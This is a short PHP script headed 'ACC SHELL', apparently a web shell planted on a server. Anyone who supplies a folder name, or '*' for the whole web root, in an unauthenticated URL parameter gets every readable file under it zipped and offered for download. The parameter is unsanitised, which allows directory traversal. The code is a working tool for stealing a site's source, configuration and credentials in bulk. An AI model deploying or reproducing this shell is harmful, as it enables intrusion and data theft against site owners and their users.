ACC SHELL
<pre>
<?
// Config Vars
$_GET && $_GET['folder'] or die("What root folder to zip? Add <b>?folder=XYZ</b> to URL");
if ($_GET['folder'] == '*')
{
$_GET['folder'] = '';
}
$sourcefolder = "./" . $_GET['folder'] ; // Default: "./"
$zipfilename = "./" . $_GET['folder'] . (!$_GET['folder'] ?: "-") . time() . ".zip"; // Default: "myarchive.zip"
$timeout = 5000 ; // Default: 5000
// instantate an iterator (before creating the zip archive, just
// in case the zip file is created inside the source folder)
// and traverse the directory to get the file list.
$dirlist = new RecursiveDirectoryIterator($sourcefolder);
$filelist = new RecursiveIteratorIterator($dirlist);
// set script timeout value
ini_set('max_execution_time', $timeout);
// instantate object
$zip = new ZipArchive();
// create and open the archive
$zip->open("$zipfilename", ZipArchive::CREATE) or die ("Could not open archive");
// add each file in the file list to the archive
foreach ($filelist as $key => $value) {
if (basename($key) !== '.' and basename($key) !== '..')
{
if (file_exists($key) && is_readable($key))
{
$zip->addFile(realpath($key), $key) or die ("ERROR: Could not add file: $key");
}
else
{
echo "Warning: $key file not added!";
}
}
}
print_r($zip);
// close the archive
$zip->close() or die ("Closing fucked up!");
is_writable(__DIR__) or die('Directory not writable');
file_exists($zipfilename) or die ("File does NOT exist!");
echo "Archive ". $zipfilename . " created successfully.";
?>
<a href="http:<?php echo $zipfilename;?>" target="_blank">Download <?php echo $zipfilename?></a>
ACC SHELL 2018